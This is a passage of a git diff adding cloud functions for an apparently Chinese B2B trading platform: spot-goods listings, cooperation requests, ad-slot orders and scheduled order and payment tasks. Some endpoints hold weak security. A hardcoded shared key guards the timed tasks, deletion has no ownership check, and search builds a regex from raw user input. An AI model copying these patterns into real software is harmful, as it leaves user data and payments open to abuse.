+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, province } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ const whereJson = {}
+ whereJson['address.province.code'] = province.toString()
+ res.data = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-spot-amount",
+ whereJson
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/category/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/category/pub/getList.js
new file mode 100644
index 0000000..99085de
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/category/pub/getList.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * 查询商品分类列表
+ * @url client/product/category/pub/getAll 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, whereJson } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-spot-category";
+ res.data = await vk.baseDao.selects({
+ dbName,
+ getMain: true,
+ whereJson,
+ pageSize: -1
+ });
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/category/pub/getTree.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/category/pub/getTree.js
new file mode 100644
index 0000000..99947ce
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/category/pub/getTree.js
@@ -0,0 +1,59 @@
+'use strict';
+module.exports = {
+ /**
+ * 查询商品分类列表
+ * @url client/product/category/pub/getAll 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-spot-category";
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex: 1,
+ pageSize: 500,
+ whereJson: {
+ parent_id: _.in([null, ""]),
+ _id: _.exists(true)
+ },
+ sortArr: [{name: "sort", type: "asc"}],
+ // 树状结构参数
+ // treeProps: {
+ // id: "_id", // 唯一标识字段,默认为 _id
+ // parent_id: "parent_id", // 父级标识字段,默认为 parent_id
+ // children: "children", // 自定义返回的下级字段名,默认为 children
+ // level: 3, // 查询返回的树的最大层级。超过设定层级的节点不会返回。默认10级,最大15,最小1
+ // limit: 500, // 每一级最大返回的数据。
+ // whereJson: {},
+ // sortArr: [
+ // {name: "quoteNum", type: "desc"},
+ // {name: "sort", type: "asc"},
+ // ]
+ // }
+ });
+ for (const item of res.rows) {
+ const children = await vk.baseDao.selects({
+ dbName,
+ pageIndex: 1,
+ pageSize: 500,
+ whereJson: {
+ parent_id: item._id
+ },
+ sortArr: [
+ {name: "quoteNum", type: "desc"},
+ {name: "sort", type: "asc"},
+ ]
+ })
+ item.children = children.rows
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/addCooperate.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/addCooperate.js
new file mode 100644
index 0000000..a8d1abf
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/addCooperate.js
@@ -0,0 +1,112 @@
+'use strict';
+module.exports = {
+ /**
+ * 申请合作
+ * @url client/spot/goods/kh/addCooperate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, company, manager, person, accountType, goodsUserId, goodsId, remark, name, mobile, files} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const checkSheet = await vk.baseDao.findById({
+ dbName: "jjx-spot-goods",
+ id: goodsId
+ })
+
+ if (checkSheet.status > 0) return {
+ code: -1,
+ msg: "该现货已关闭"
+ }
+
+ let info = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-goods-cooperate",
+ whereJson: {
+ userId: uid,
+ goodsId: goodsId
+ }
+ });
+
+ if (info != null) {
+ return {
+ code: -1,
+ msg: '您已经申请过了'
+ }
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-spot-goods",// 表名
+ id: goodsId,
+ dataJson: {
+ quoteNum: _.inc(1)
+ }
+ });
+
+ for (const cate of checkSheet.categoryIds) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-spot-category",
+ id: cate,
+ dataJson: {
+ quoteNum: _.inc(1)
+ }
+ })
+ }
+
+ // let subjectName = ''
+ // let subjectMobile = ''
+ // let managerName = ''
+ // let managerMobile = ''
+ //
+ // if (accountType == 1) {
+ // subjectName = person.personName
+ // subjectMobile = person.mobile
+ // } else {
+ // subjectName = company.companyName
+ // subjectMobile = company.legalMobile
+ // if (manager.mobile && manager.personName) {
+ // managerName = manager.personName
+ // managerMobile = manager.mobile
+ // }
+ // }
+
+ res.data = await vk.baseDao.add({
+ dbName: "jjx-goods-cooperate",// 表名
+ dataJson: { // 需要新增的数据 json格式
+ userId: uid,
+ goodsUserId: goodsUserId,
+ goodsId: goodsId,
+ // company,
+ // manager,
+ // person,
+ accountType,
+ status: 0,
+ name,
+ mobile,
+ files,
+ // managerName,
+ // managerMobile,
+ remark
+ }
+ });
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: checkSheet.userId,
+ title: `现货合作申请:${checkSheet.name}`,
+ content: `新的现货合作申请,赶紧去看看吧`,
+ type: 'spot',
+ hasRead: false,
+ pk: checkSheet._id
+ }
+ });
+ await pubFun.sendNotifySms(checkSheet.userId, 'SMS_474305480')
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/addUpdate.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/addUpdate.js
new file mode 100644
index 0000000..483876a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/addUpdate.js
@@ -0,0 +1,210 @@
+'use strict';
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+module.exports = {
+ /**
+ * 新增或更新现货
+ * @url client/product/goods/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ const dbName = 'jjx-spot-goods'
+ let {_id, name, categoryIds, address, stock, files, images, answerEndTime} = data
+ // 业务逻辑开始-----------------------------------------------------------
+ if (!userInfo.fadadaConfirm && userInfo.authStatus === 1) {
+ return {
+ code: 1,
+ msg: '请先完成认证'
+ }
+ } else if (!userInfo.businessCard) {
+ return {
+ code: 1,
+ msg: '请完善名片信息'
+ }
+ } else {
+ if (userInfo.businessCard.status !== 1) {
+ return {
+ code: 1,
+ msg: '您的名片信息未审核,请耐心等待'
+ }
+ }
+ }
+ // let info = await vk.baseDao.findByWhereJson({
+ // dbName,
+ // whereJson: {
+ // userId: uid,
+ // }
+ // });
+
+ // if (info == null) {
+ //
+ // } else {
+ // await vk.baseDao.updateById({
+ // dbName,
+ // id: info._id,
+ // dataJson: {
+ // name,
+ // categoryIds,
+ // address,
+ // stock,
+ // files,
+ // status: 0
+ // }
+ // });
+ // }
+
+ await vk.baseDao.update({
+ dbName,
+ whereJson: {
+ userId: uid,
+ },
+ dataJson: {
+ latest: false
+ }
+ })
+
+ const pk = await vk.baseDao.add({
+ dbName,
+ dataJson: {
+ name,
+ categoryIds,
+ address,
+ stock,
+ files,
+ images,
+ answerEndTime,
+ userId: uid,
+ sort: 0,
+ status: 0,
+ quoteNum: 0,
+ latest: true
+ }
+ });
+
+ const messageUserList = await vk.baseDao.select({
+ dbName: "jjx-message-config",
+ whereJson: {
+ article: true
+ }
+ })
+ const messageList = []
+ for (let i = 0; i < messageUserList.rows.length; i++) {
+ const config = messageUserList.rows[i]
+ const date = dayjs().format("YYYY-MM-DD")
+ // if (config.doNotDisturbRange && config.doNotDisturbRange[0]) {
+ // const doNotDisturbRangeStart = dayjs(config.doNotDisturbRange[0]).format("HH:mm")
+ // const doNotDisturbRangeEnd = dayjs(config.doNotDisturbRange[1]).format("HH:mm")
+ // if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ // continue
+ // }
+ if (config.doNotDisturbStart && config.doNotDisturbStart.length) {
+ const doNotDisturbRangeStart = dayjs(`${date} ${config.doNotDisturbStart[0]}:${config.doNotDisturbStart[1]}`).format("HH:mm")
+ const doNotDisturbRangeEnd = dayjs(`${date} ${config.doNotDisturbEnd[0]}:${config.doNotDisturbEnd[1]}`).format("HH:mm")
+ if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ continue
+ }
+ let inAddress = false
+ if (config.addressList && config.addressList.length > 0) {
+ for (let j = 0; j < config.addressList.length; j++) {
+ if (config.addressList[j].province.code === address.province.code) {
+ if (config.addressList[j].city === null) inAddress = true
+ else if (config.addressList[j].city.code === address.city.code) {
+ if (config.addressList[j].area === null) inAddress = true
+ else if (config.addressList[j].area.code === address.area.code) {
+ inAddress = true
+ }
+ }
+ }
+ }
+ } else inAddress = true
+ if (!inAddress) continue
+
+ if (messageUserList.rows[i].uid !== uid) {
+ messageList.push({
+ uid: messageUserList.rows[i].uid,
+ title: `现货:${name}`,
+ content: `新的找现货信息发布,赶紧去看看吧`,
+ type: 'spot',
+ hasRead: false,
+ pk
+ })
+ await pubFun.sendNotifySms(messageUserList.rows[i].uid, 'SMS_474105471')
+ }
+ }
+ if (messageList.length > 0) {
+ await vk.baseDao.adds({
+ dbName: "jjx-message",
+ dataJson: messageList
+ });
+ }
+
+ if (data.buyTop || data.buyAll) {
+ const province = data.buyAll ? '-1' : data.address.province.code
+ const amountItem = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-spot-amount",
+ whereJson: {
+ 'address.province.code': province
+ }
+ });
+ if (amountItem === null) return {
+ code: 1,
+ msg: '该省现暂时无法购买广告位'
+ }
+ const amount = parseFloat(amountItem.amount) * data.buyTopNum
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: 0,
+ type: 8,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ pk,
+ goodsId: province,
+ num: data.buyTopNum,
+ goodsName: '现货信息广告位',
+ goodsPrice: amountItem.amount,
+ goodsCover: null,
+ }
+ })
+ res.data = orderId
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/delete.js
new file mode 100644
index 0000000..504a2cb
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/delete.js
@@ -0,0 +1,28 @@
+'use strict';
+const dbName = require('../../../../../dao/config.js')
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let {_id} = data;
+ if (vk.pubfn.isNull(_id)) {
+ return {code: -1, msg: 'id不能为空'};
+ }
+ await vk.baseDao.deleteById({
+ dbName: 'jjx-spot-goods',
+ id: _id
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/getSelfOne.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/getSelfOne.js
new file mode 100644
index 0000000..98a3b8e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/kh/getSelfOne.js
@@ -0,0 +1,57 @@
+'use strict';
+const dbName = 'jjx-spot-goods'
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/spot/goods/kh/getSelfOne 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ res = await vk.baseDao.selects({
+ dbName,
+ whereJson: {
+ userId: uid,
+ },
+ pageIndex,
+ pageSize,
+ sortArr: [{name: "_add_time", type: "desc"}],
+ foreignDB: [
+ {
+ dbName: "jjx-goods-cooperate",
+ localKey: "_id",
+ foreignKey: "goodsId",
+ as: "cooperateList",
+ limit: 500, // limit=1则以对象形式返回
+ foreignDB: [{
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ },
+ ]
+ }]
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/pub/getDetail.js
new file mode 100644
index 0000000..170f4bc
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/pub/getDetail.js
@@ -0,0 +1,70 @@
+'use strict';
+const dbName = 'jjx-spot-goods'
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/spot/goods/kh/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {
+ data = {}, userInfo, util, filterResponse, originalParam
+ } = event;
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun,
+ vk,
+ db,
+ _
+ } = util;
+ let {
+ uid
+ } = data;
+ let res = {
+ code: 0,
+ msg: ""
+ };
+ // 业务逻辑开始-----------------------------------------------------------
+ const {
+ _id
+ } = data
+ res.data = await vk.baseDao.findByWhereJson({
+ dbName,
+ whereJson: {
+ _id
+ },
+ });
+
+ res.data.user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: res.data.userId,
+ dcloud_appid: _.in(["__UNI__EB80D26","__UNI__8BFD66E","__UNI__0F0703D"])
+ }
+ })
+
+ const cooperateList = await vk.baseDao.selects({
+ dbName: "jjx-goods-cooperate",
+ whereJson: {
+ goodsId: _id
+ },
+ pageIndex: 1,
+ pageSize: 500,
+ foreignDB: [{
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ },
+ ]
+ })
+ res.data.cooperateList = cooperateList.rows
+ res.data.isMine = res.data.userId === uid
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/pub/getList.js
new file mode 100644
index 0000000..c3904f7
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/goods/pub/getList.js
@@ -0,0 +1,100 @@
+'use strict';
+const dayjs = require("dayjs");
+const dbName = 'jjx-spot-goods'
+module.exports = {
+ /**
+ * 查询现货列表
+ * @url client/spot/goods/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {keyword, categoryIds, provinceCodes, cityCodes, areaCodes, pageIndex, pageSize} = data
+
+ let whereJson = {
+ latest: true,
+ isOn: 1
+ };
+
+ if (vk.pubfn.isNotNull(keyword)) {
+ whereJson.name = new RegExp(keyword)
+ }
+ if (vk.pubfn.isNotNull(categoryIds)) {
+ whereJson.categoryIds = _.in(categoryIds)
+ }
+ if (vk.pubfn.isNotNull(provinceCodes)) {
+ whereJson['address.province.code'] = _.in(provinceCodes)
+ }
+ if (vk.pubfn.isNotNull(cityCodes)) {
+ whereJson['address.city.code'] = _.in(cityCodes)
+ }
+ if (vk.pubfn.isNotNull(areaCodes)) {
+ whereJson['address.area.code'] = _.in(areaCodes)
+ }
+
+ res = await vk.baseDao.selects({
+ dbName,
+ getCount: true,
+ pageIndex,
+ pageSize,
+ // 主表where条件
+ whereJson: whereJson,
+ // 主表字段显示规则
+ // groupJson: {
+ // _id: "$userId",
+ // userId: _.$.last("$userId"),
+ // name: _.$.last("$name"),
+ // stock: _.$.last("$stock"),
+ // address: _.$.last("$address"),
+ // id: _.$.last("$_id"),
+ // _add_time: _.$.last("$_add_time"),
+ // _add_time_str: _.$.last("$_add_time_str"),
+ // topExpiredAt: _.$.last("$topExpiredAt"),
+ // categoryIds: _.$.last("$categoryIds"),
+ // },
+ // 主表排序规则
+ sortArr: [
+ {name: "topExpiredAt", type: "desc"},
+ {name: "_add_time", type: "desc"},
+ ],
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ }
+ ]
+ });
+ for (const item of res.rows) {
+ // const spotAd = await vk.baseDao.findByWhereJson({
+ // dbName: "jjx-spot-ad",
+ // whereJson: {
+ // uid: item.userId,
+ // province: (vk.pubfn.isNotNull(provinceCodes) && provinceCodes.length > 0) ? _.in(provinceCodes) : '-1',
+ // }
+ // });
+ item.isTop = !!item.topExpiredAt
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/stealFactory/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/stealFactory/pub/getList.js
new file mode 100644
index 0000000..463a171
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/stealFactory/pub/getList.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/stealFactory/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.select({
+ dbName: "jjx-steal-factory",
+ pageIndex: 1,
+ pageSize: -1
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/autoConfirmOrder.js b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/autoConfirmOrder.js
new file mode 100644
index 0000000..fca8939
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/autoConfirmOrder.js
@@ -0,0 +1,60 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/timedTask/pub/task 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (data.key !== 'lsgjoksdjf') return {code: 1, msg: '非法请求'}
+
+ // 自动确认收货
+ const autoConfirm = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: "a72823ff65a4ea8e0730de3d2a14ba3f"
+ })
+
+ const checkRes = await vk.baseDao.select({
+ dbName: "jjx-order",
+ whereJson: {
+ orderStatus: _.in([2, 3]),
+ expressTime: _.lte(
+ vk.pubfn.getOffsetTime(new Date(), {
+ day: parseInt(autoConfirm.content),
+ mode: "before",
+ }))
+ }
+ })
+ console.log('checkRes', checkRes)
+ console.log('checkResDate', vk.pubfn.getOffsetTime(new Date(), {
+ day: parseInt(autoConfirm.content),
+ mode: "before",
+ }))
+
+ await vk.baseDao.update({
+ dbName: "jjx-order",
+ whereJson: {
+ orderStatus: _.in([2, 3]),
+ expressTime: _.lte(
+ vk.pubfn.getOffsetTime(new Date(), {
+ day: parseInt(autoConfirm.content),
+ mode: "before",
+ }))
+ },
+ dataJson: {
+ orderStatus: 4
+ }
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/autoTransferPayList.js b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/autoTransferPayList.js
new file mode 100644
index 0000000..31d361b
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/autoTransferPayList.js
@@ -0,0 +1,65 @@
+'use strict';
+const notaryPay = require('../../order/kh/util/notaryPay');
+
+module.exports = {
+ /**
+ * 自动划付到期付款单
+ * @url client/timedTask/pub/autoTransferPayList 前端调用的url参数地址
+ */
+ main: async (event) => {
+ let {data = {}, util} = event;
+ let {vk, _} = util;
+ let res = {code: 0, msg: '', data: []};
+
+ if (data.key !== 'lsgjoksdjf') return {code: 1, msg: '非法请求'};
+
+ const payList = await vk.baseDao.select({
+ dbName: 'jjx-order-pay-list',
+ whereJson: {
+ isNotaryPay: true,
+ isNotaryApply: true,
+ hasPaid: true,
+ buyerRefuse: false,
+ sellerConfirm: false,
+ autoTransferTimestamp: _.lte(Date.now())
+ },
+ sortArr: [{name: 'autoTransferTimestamp', type: 'asc'}],
+ pageIndex: 1,
+ pageSize: 200
+ });
+
+ for (const payRecord of payList.rows || []) {
+ try {
+ const transferRes = await notaryPay.executeTransfer({
+ vk,
+ payRecord,
+ operator: 'auto'
+ });
+ res.data.push({
+ _id: payRecord._id,
+ orderId: payRecord.orderId,
+ sourcePayOrderNo: payRecord.fullPayOrderNo || payRecord.sourcePayOrderNo || '',
+ success: transferRes.code === 0,
+ msg: transferRes.msg
+ });
+ } catch (err) {
+ console.error('autoTransferPayList error:', payRecord._id, err);
+ res.data.push({
+ _id: payRecord._id,
+ orderId: payRecord.orderId,
+ sourcePayOrderNo: payRecord.fullPayOrderNo || payRecord.sourcePayOrderNo || '',
+ success: false,
+ msg: err.message || '自动划付失败'
+ });
+ }
+ }
+
+ const failList = res.data.filter(item => !item.success);
+ if (failList.length) {
+ res.code = -1;
+ res.msg = `部分付款单自动划付失败:${failList.map(item => item._id).join(',')}`;
+ }
+
+ return res;
+ }
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/cancelOldExpired.js b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/cancelOldExpired.js
new file mode 100644
index 0000000..570b436
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/cancelOldExpired.js
@@ -0,0 +1,41 @@
+'use strict';
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/timedTask/pub/task 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (data.key !== 'lsgjoksdjf') return {code: 1, msg: '非法请求'}
+
+ // 取消超时未支付订单
+ res = await vk.baseDao.select({
+ dbName: "jjx-old",
+ whereJson: {
+ status: 0,
+ },
+ })
+ for (const row of res.rows) {
+ if (dayjs(row.expiredTime).isBefore(dayjs())) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-old",
+ id: row._id,
+ dataJson: {
+ status: -1,
+ },
+ })
+ }
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/cancelOrder.js b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/cancelOrder.js
new file mode 100644
index 0000000..8e96795
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/cancelOrder.js
@@ -0,0 +1,38 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/timedTask/pub/task 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (data.key !== 'lsgjoksdjf') return {code: 1, msg: '非法请求'}
+
+ // 取消超时未支付订单
+ await vk.baseDao.update({
+ dbName: "jjx-order",
+ whereJson: {
+ orderStatus: 0,
+ type: _.in([0 , 1, 2, 3, 7]),
+ _add_time: _.lte(
+ vk.pubfn.getOffsetTime(new Date(), {
+ minutes: 30,
+ mode: "before",
+ }))
+ },
+ dataJson: {
+ orderStatus: -1
+ }
+ })
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/certReport.js b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/certReport.js
new file mode 100644
index 0000000..eb2ec83
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/certReport.js
@@ -0,0 +1,90 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/timedTask/pub/task 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (data.key !== 'lsgjoksdjf') return {code: 1, msg: '非法请求'}
+
+ const certificateList = await vk.baseDao.select({
+ dbName: "jjx-certificate",
+ whereJson: {
+ hasReport: false,
+ paidConfirm: true
+ }
+ });
+ // console.log('certificateList', certificateList)
+ const url = 'https://tczapi.fadada.com/czapi/api/compliance-contract-report'
+ // const url = 'https://czapi-test.fadada.com/evidence-api/api/compliance-contract-report'
+ for (let i = 0; i < certificateList.rows.length; i++) {
+ const certificate = certificateList.rows[i];
+ const contract = await vk.baseDao.findById({
+ dbName: "jjx-contract",
+ id: certificate.contractId
+ });
+ // console.log('contract', contract)
+ // console.log('deliveryMethods', certificate.deliveryMethods)
+ if (certificate.deliveryMethods.paper) {
+ const result = await pubFun.fadada(url, {
+ contractNum: contract.transactionId,
+ // contractNum: 'C2510141800348945357 ',
+ evidenceType: 0,
+ 'reportExpressInfo.name': certificate.paperDelivery.receiver,
+ 'reportExpressInfo.mobile': certificate.paperDelivery.phone,
+ 'reportExpressInfo.address': certificate.paperDelivery.address,
+ }, true)
+ console.log('certificate', {
+ contractNum: contract.transactionId,
+ evidenceType: 0,
+ 'reportExpressInfo.name': certificate.paperDelivery.receiver,
+ 'reportExpressInfo.mobile': certificate.paperDelivery.phone,
+ 'reportExpressInfo.address': certificate.paperDelivery.address,
+ })
+ if (parseInt(result.code) === 1000) {
+ await vk.baseDao.update({
+ dbName: "jjx-certificate",
+ whereJson: {
+ contractId: certificate.contractId
+ },
+ dataJson: {
+ hasReport: true,
+ reportData: result.data
+ }
+ });
+ }
+ } else {
+ const result = await pubFun.fadada(url, {
+ contractNum: contract.transactionId,
+ evidenceType: 2
+ }, true)
